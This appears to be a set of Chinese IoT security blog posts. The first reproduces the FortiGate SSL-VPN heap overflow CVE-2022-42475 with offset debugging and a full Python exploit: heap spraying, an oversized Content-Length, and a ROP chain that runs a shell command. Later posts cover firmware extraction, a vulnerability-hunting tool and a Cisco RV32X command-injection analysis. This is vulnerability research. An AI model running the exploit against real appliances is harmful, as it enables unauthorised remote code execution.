0%

前言

之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。

如何劫持SSL结构体指针实现控制程序流

就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的gadget便可以控制程序的执行流。相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall debug_2nd_control(__int64 a1, char a2)
{
...
if ( v9 )
{
result = v8 + 96;
if ( v9 != v8 + 96 )
{
v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192);
if ( v10 )
return v10(a1);
...
}

.text:000000000180C180 48 8B 82 C0 00 00 00 mov rax, [rdx+0C0h]
.text:000000000180C187 4C 89 EF mov rdi, r13
.text:000000000180C18A 48 85 C0 test rax, rax
.text:000000000180C18D 0F 84 85 00 00 00 jz loc_180C218
.text:000000000180C193 5B pop rbx
.text:000000000180C194 41 5C pop r12
.text:000000000180C196 41 5D pop r13
.text:000000000180C198 41 5E pop r14
.text:000000000180C19A 5D pop rbp
.text:000000000180C19B FF E0 jmp rax

漏洞点

从下面的汇编中可知,这里分配的大小是由movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为1,从而产生堆溢出。利用手法是,在堆上大量喷射SSL结构体,从而劫持其中对应的函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
0000000001811174 8B 40 18        mov     eax, [rax+18h]  ; Keypatch modified this from:
0000000001811174 ; nop word ptr [rax+rax+00000000h]
0000000001811174 ; Keypatch padded NOP to next boundary: 8 bytes
0000000001811177 49 8B 3C 24 mov rdi, [r12] ; Keypatch modified this from:
000000000181117B E9 86 02 00 00 jmp loc_1811406

0000000001811406 8D 70 01 lea esi, [rax+1] ; Keypatch modified this from:
0000000001811409 E9 96 01 00 00 jmp loc_18115A4

00000000018115A4 48 63 F6 movsxd rsi, esi ; Keypatch modified this from:
00000000018115A7 E9 88 FB FF FF jmp loc_1811134

0000000001811134 E8 27 0A EC FF call alloc__

如何确定填充数量

网上已经有文章 (https://forum.butian.net/index.php/share/2166) 给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为192的地方。故我们只需定位到read_post_data,即可确定偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);

char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5)
{
...
strLen = strlen(str);
v8 = alloc__(*a1, strLen + 201);
v9 = (__int64)v8;
if ( v8 )
{
*(_QWORD *)v8 = v8;
*((_QWORD *)v8 + 1) = v8;
v10 = &v8[32 * a3];
*((_DWORD *)v10 + 6) = a4;
*((_DWORD *)v10 + 7) = a4;
if ( (a4 & 1) != 0 )
{
*(_QWORD *)(32LL * a3 + v9 + 32) = a5;
}
else if ( (a4 & 4) != 0 )
{
*(_QWORD *)(32LL * a3 + v9 + 40) = a5;
}
strcpy((char *)(v9 + 200), str);
...
}

调试时内存分布如下,有0x2638-0x1818 = 0xE20 = 3616

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) i r $rdi
rdi 0x7f6edef01818 140114163406872
(gdb) x/10gx 0x7f6edef01818
0x7f6edef01818: 0x0000000000000000 0x0000000000000000
0x7f6edef01828: 0x0000000000000000 0x0000000000000000
0x7f6edef01838: 0x0000000000000000 0x0000000000000000
0x7f6edef01848: 0x0000000000000000 0x0000000000000000
0x7f6edef01858: 0x0000000000000000 0x0000000000000000
(gdb) x/10gx 0x7f6edef02638
0x7f6edef02638: 0x0000000000000000 0x736f705f64616572
0x7f6edef02648: 0x0000617461645f74 0x0000000000000000
0x7f6edef02658: 0x0000000000000000 0x0000000000000000
0x7f6edef02668: 0x0000000000000000 0x0000000000000000
0x7f6edef02678: 0x0000000000000000 0x0000000000000000
(gdb) x/s 0x7f6edef02640
0x7f6edef02640: "read_post_data"

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import struct
import socket
import ssl

p64 = lambda x: struct.pack("<Q", x)

path = "/remote/login".encode()

ip = "192.168.229.162"
port = 4443

def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
return _socket

socks = []

for i in range(60):
sk = create_ssl_ctx()
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk)

for i in range(20, 40, 2):
sk = socks[i]
sk.close()
socks[i] = None

CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1"

exp_sk = create_ssl_ctx()

for i in range(20):
sk = create_ssl_ctx()
socks.append(sk)

exp_sk.sendall(data)

payload = b"b" * (3613-0xc0)
payload+= p64(0)
payload+= p64(0x19de70a)
# 0x00000000019de70a : pop r12 ; pop r13 ; pop rbp ; ret
payload+= p64(0x100)*3
payload+= p64(0x1855c29)
# 0x0000000001855c29 : add rdx, r8 ; mov byte ptr [rdx], 0 ; ret
payload+= p64(0x1fe54ad)
# 0x0000000001fe54ad : pop rbp ; mov rax, rdx ; ret
payload+= p64(0x30)
payload+= p64(0x18cfb70)
# 0x00000000018cfb70 : lea rdi, [rax - 0x28] ; call qword ptr [rax + 0x30]
payload+= p64(0x40)*(24-9)

payload+= p64(0x1d3379c) # rip
# push rdx ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
payload+= p64(0x736f705f64616572)
payload+= p64(0x0000617461645f74)
cmd = b"busybox ls > /tmp/hack"
cmd = cmd.ljust(11*0x8, b'\x00')
payload+= cmd
payload+= p64(0x43FDF0)

exp_sk.sendall(payload)

for sk in socks:
if sk:
data = b"b" * 40
sk.sendall(data)

print("done")

参考链接

https://forum.butian.net/index.php/share/2166

https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html

https://wzt.ac.cn/2022/12/15/CVE-2022-42475/

https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

前言

自写完 **从路由器真机提取固件包(一)**介绍如何通过 UART提取固件之后,一直没时间来写如何通过编程器提取固件。正好最近在看一款设备的时候,发现无法从官网下载到他的固件包,也无法通过串口拿到他的 shell,只能通过编程器提取他的固件。于是想起这篇算是鸽了很久的文章,现在来补写一下。

所用到的工具及设备

  • CH341A编程器
  • 转接板
  • 芯片夹
  • xxx 路由器
  • 热风枪(x

前置知识

ROM芯片

固件一般存储在ROM中,ROM是只读存储器(Read-Only Memory)的简称,是一种只能读出事先所存数据的固态半导体存储器。其特性是一旦储存资料就无法再将之改变或删除。通常用在不需经常变更资料的电子或电脑系统中,并且资料不会因为电源关闭而消失。

编程器

读取Flash芯片,需要借助编程器,编程器又称烧录器、写入器、写码器,是专门用来对IC芯片进行读写、编程/烧录的仪器。本文会用 CH341A编程器读取此设备的固件。

编程器读取方式

(1)直接将导线连接到芯片的引脚,在通过导线连接编程器读取固件;
(2)把芯片拆下来,再连接编程器读取固件。

实操

找到flash并确定1号引脚

值得一提的是,有些flash不在开发板正面,因此可稍作留意。例如上面两幅图中样机的flash便是在PCB背面。1号引脚附近应该会有小标记,如图这个便是有一个小三角指向1号引脚,及偏右下角的那个引脚。

组装芯片夹、转接板与编程器

我这里用的是 SOP8的芯片夹。与转接板连接时,红色的线对准1号位置。再按图中位置固定到编程器上。

提取固件

最后把编程器插到电脑上,芯片夹夹住 flash即可(红线对准有标记的部分)。此时如果设备的电源灯亮,即说明已经正确连接。此时打开 CH341A编程器相对应的软件自动识别并提取固件即可,如果无法自动识别则可以通过 flash上印着的型号手动确定芯片类型即可。

参考链接

https://zhuanlan.zhihu.com/p/33527131

https://mp.weixin.qq.com/s?__biz=MzUzNDYxOTA1NA==&mid=2247491223&idx=4&sn=39016ad70598e64c0a74b4bf08d223c9&chksm=fa90a856cde7214079b273bba8997e9c4cbabfde2fc1ff287fd6dd0d175223b3954fe37f9a88&scene=27

https://blog.csdn.net/weixin_39224267/article/details/124661034

前言

IOT也有一段时间了,但是一直都是从官网获取固件包,没有尝试过从真机里提取固件。在看了一些师傅的文章后决定尝试一下从真机中提取固件。正好手里也有几个路由器,于是用刚到手的奖学金去买了提取固件所需要的工具用来学习一下如何通过串口调试获取固件。

所用到的工具及设备

  • FT232
  • 电烙铁
  • 杜邦线
  • 万用表
  • xxx 路由器
  • SecureCRT

前置知识

串口介绍

串口是一个泛称,UART、COM、TTL、RS232、RS485都遵循类似的通信时序协议,因此都被通称为串口。
而在嵌入式开发中所听到的串口一般指的是UARTUART使用的是异步串行通信,以字符为传输单位,一位一位的顺序输送;通信中两个字符间的时间间隔是不固定的 ,然而同一个字符内两个相邻位之间的时间间隔是固定的。数据的传送速率用波特率来表示,即每秒钟传送的二进制位数。一般选波特率都会有9600,19200,115200等,最常用的是115200。
UART有四个pin,分别是VCC,GND,RX,TX,用的是TTL电平,低电平为0V,高电平为3.3V-5V

UART 引脚介绍
  • VCC:供电pin,一般是3.3v,在我们的板子上没有过电保护,这个pin一般不接更安全(在路由器通电的时候可以不连VCC)。
  • GND:接地pin,有的时候RX接受数据有问题,就要接上这个pin,一般也可不接。
  • RX:接收数据pin。
  • TX:发送数据pin。

UART 通信

UART最好的一点是它只使用两根线就可以在设备之间传输数据。在UART通信中,两个UART直接相互通信。发送UART将来自CPU等控制设备的并行数据转换为串行形式,并将其串行发送到接收UART,接收UART然后将串行数据转换回接收设备的并行数据。在两个UART之间传输数据只需要两根线。数据从发送UARTTX引脚流向接收UARTRX引脚,也就是接受和发送数据的UARTRX和TX要反过来连接。

寻找 UART 串口,并定位 pin

下图是笔者拆开xxx 路由器得到的板子,可以看到红色方框里有四个孔,这就是UART串口,并且这个板子很人性化已经给我们标好了引脚的名称。

如果没给我们标注好串口的名称,我们也可以通过万用表去定位每一个引脚。

1、定位 GND

将万用表调到蜂鸣档,然后将黑表笔接到背面电源焊锡点,红表笔分别触碰UART四个引脚的焊接点。发出声响的就是GND引脚。

2、定位 VCC

将万用表调到直流20V,然后将黑表笔放到刚刚判断的GND引脚上,再用红表笔触碰其他三个焊接点进行测试。电压稳定在3.3V或5V左右的那个引脚即为VCC引脚。

3、定位 TXD

开机会出现数据传输,如果该引脚出现了电压变化,则该引脚是TXD。黑表笔放到刚刚判断的GND引脚上,重启路由器,用红表笔触碰其他两个引脚,电压发生变化的即为TDX

4、定位 RXD

确定了其他三个引脚之后,剩下的一个即为RDX

实操

焊接并连接 UART 串口

下图可以看到四个孔处已经被读者用电烙铁焊上了几根针,可以便于我们用杜邦线将板子与FT232相连接。

之后,我们用杜邦线把板子和FT232GND相连,把两者的RXDTXD反着连。(也就是板子的RXDFT23的TXD相连,板子的TXDFT23的RXD相连)注意:在板子通电后最好不要将两者的VCC相连,否则可能损坏设备。

提取固件

在连接好FT232与板子上的串口之后,我选择使用SecureCRT连接进shell。在这里我们可以看出想要进入shell,那么我们必须有登录名和密码。所以通过shell提取固件有一定的局限性。要么该设备不需要账号密码就能登陆,要么知道该设备登陆的账号和密码。

登陆上之后用tftp或者nc等方法即可将固件传出来。

前言

接触iot也快有一年的时间了,一年来也挖掘了大大小小几十个洞,虽然能有些产出但是却逐渐对人工审计感到无趣和疲惫。在此之间我也尝试过通过使用污点分析fuzz等方法去进行自动化漏洞挖掘,但总因为目标不明确而导致挖掘效果不是很好。于是就产生了写一款可以用来辅助跨文件分析危险函数的工具的想法,正好最近在看到 https://conference.hitb.org/hitbsecconf2023ams/materials/D1T1%20-%20Your%20Not%20So%20Home%20Office%20-%20Soho%20Hacking%20at%20Pwn2Own%20-%20McCaulay%20Hudson%20&%20Alex%20Plaskett.pdf时,看到了文章中dcalls这个工具。他的效果可以很好地满足我之前的想法,但是这款工具貌似并没有开源,于是我就自己尝试去实现了一下这个工具。写完之后感觉效果还行(但是由于时间匆忙,笔者能力有限等原因,此工具也存在很多bug,希望师傅们海涵),又恰好想起了当时自己刚入门iot,还不怎么清楚如何进行漏洞挖掘时,不知从何下手却又着急想要出一些成果的场景。于是写下这篇文章,分享给刚入门,并且希望能快速挖掘到漏洞的师傅。

最常见的逻辑洞

在我看来,在一些中小型厂商的设备中,最常见的逻辑洞应该是命令注入了。不仅exp简单,并且危害大,经常可以很容易实现rce。想要快速寻找到命令注入漏洞,可以从一些危险函数下手,看看这些危险函数的参数是否可以被我们用户控制。常见的危险函数如systemexecve等。但是很多厂商会在自定义的动态链接库中定义自己的函数,并且在其内部调用这些危险函数。往往这些函数是最有可能被我们忽略掉的,如果在审计时可以注意到这些函数那我们挖掘到漏洞的概率也就会大大提高了。

如何快速进行漏洞挖掘

fdcalls是我编写的一款用来辅助我们寻找危险函数调用以及可能的危险函数的一款工具,已在github上开源(https://github.com/fxc233/fdcalls)。

接着我们就来看一下如何使用这个工具快速的发现可能的漏洞点,以及可能存在的危险函数。这款工具分为两个模式,第一个模式仅匹配目标文件可能存在命令注入漏洞的地方,并且返回漏洞点及危险函数调用链。如下图,此时我们就可以去显示的地址对是否存在漏洞做进一步的判断。当然由于时间问题,我并没有尝试测过很多不同厂商的设备,这就导致可能会在运行脚本时多出一些错误信息的提示,但是只要脚本不是中断报错,那么就还是可以正常进行分析的。当然显示出来的路径也可能会存在误报的现象。

第二个模式会显示所有可能的危险函数。加上这个模式的原因是,因为笔者的能力有限,所以一些函数调用处可能处理的不是很好,故有一些危险函数虽然会被会被调用却没能在上面的路径当中显示出来。如下图所示,我们可以看到可能存在的危险函数以及定义他们的动态链接库。我们在模式以扫描出的路径中不能发现漏洞或者扫描不出路径时,可以去二进制文件中搜索这些函数名,如果函数存在那么也有存在漏洞的可能。

实战应用

笔者这里就拿在github上看到某个的今年新出的cvehttps://github.com/kagehutatsu/IOT_Vulnerability/tree/main/LB-Link/WR450H/CVE-2023-26697),来看一下这个工具效果。看漏洞提交报告可知,漏洞函数是**./lib/libshare-0.0.26.so里的定义的bs_SetForwardingInfo**。

我们分析的二进制文件是**./bin/goahead**,尝试直接用工具扫描试试。

很可惜我们并没能直接定位到漏洞函数调用的位置,不过好在我们能识别到存在这个危险函数,对我们漏洞挖掘还是能有一定的帮助的。

结语

祝各位师傅每天都能挖到新的0day。最后如果有师傅在使用这个工具是出现了bug,欢迎师傅们在github上提issue。

链接

项目地址:https://github.com/fxc233/fdcalls

文章首发:https://mp.weixin.qq.com/s/jZd5BpAmwFZOZuNjc4-oqA

前言

拿到一个iot设备,笔者比较喜欢先去看一下它的历史漏洞,也许可以从中得到一些启发。发现Cisco之前修补过这个系列设备的命令注入漏洞。

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-command-inject-BY4c5zd

1day分析

因为漏洞通告中有相关固件版本,于是我就去diff了一下修补前和修补后两个固件。

ssi.cgi这个文件当中,笔者发现修复之后的固件比修复前的固件多出了两个函数,那么大概率就是通过这两个函数对存在命令注入的地方加上了检查以修复命令注入漏洞。直接看一下修复之后的固件里的NK_CHECK_LANGUAGE函数。很明显,这个函数的作用是对参数进行了判断和设置,和我们预想的一致。那么旧版本固件中存在的命令注入漏洞大概率出现在这个函数的上层函数中。

通过交叉引用,我们可以很轻松地找到其上层函数是NK_UiLanguageChange,我们看一下修补前的固件中的这个函数实现了什么功能。通过函数名,大体可以判断出这个函数的作用应该是切换界面的语言。这个函数首先获取了submitStatuschangelanguage的值,经过一些判断后,把changelanguage的值作为参数传进CreateFormatFile函数中。

我们继续去看一下CreateFormatFile函数。很明显,这个函数由于传进来的参数param_1没有进过任何检查,存在一个命令注入漏洞。

这个漏洞的修复方式也很简单,直接用NK_CHECK_LANGUAGE函数对参数进行了过滤。

捕获0day

漏洞分析

知道这个漏洞的前因后果之后,笔者就在想这个被修复之后的固件当中是否依旧可能存在一些没有过滤或者过滤不完整的地方。就去看了一些感觉可能存在漏洞的函数,后来就找到了NK_UiSetPassword这个函数,这个函数的作用是更改用户的密码。

虽然这个函数中对参数进行了一定的过滤,但是这里对于危险字符过滤的并不是很严谨,所以这里也存在一个命令注入漏洞。

其它地方应该也会存在不少类似的漏洞,但是笔者这里就没有继续去看了,感兴趣的师傅也许可以去找看看。

Poc

https://github.com/fxc233/iot-vul/tree/main/Cisco/Cisco%20RV32X

Notices

目前该漏洞已经提交给了思科厂商,思科已确认了该漏洞。https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv01x_rv32x_rce-nzAGWWDD

文章首发

https://mp.weixin.qq.com/s/UwsQH9nr1D4FzK2lhy_W2A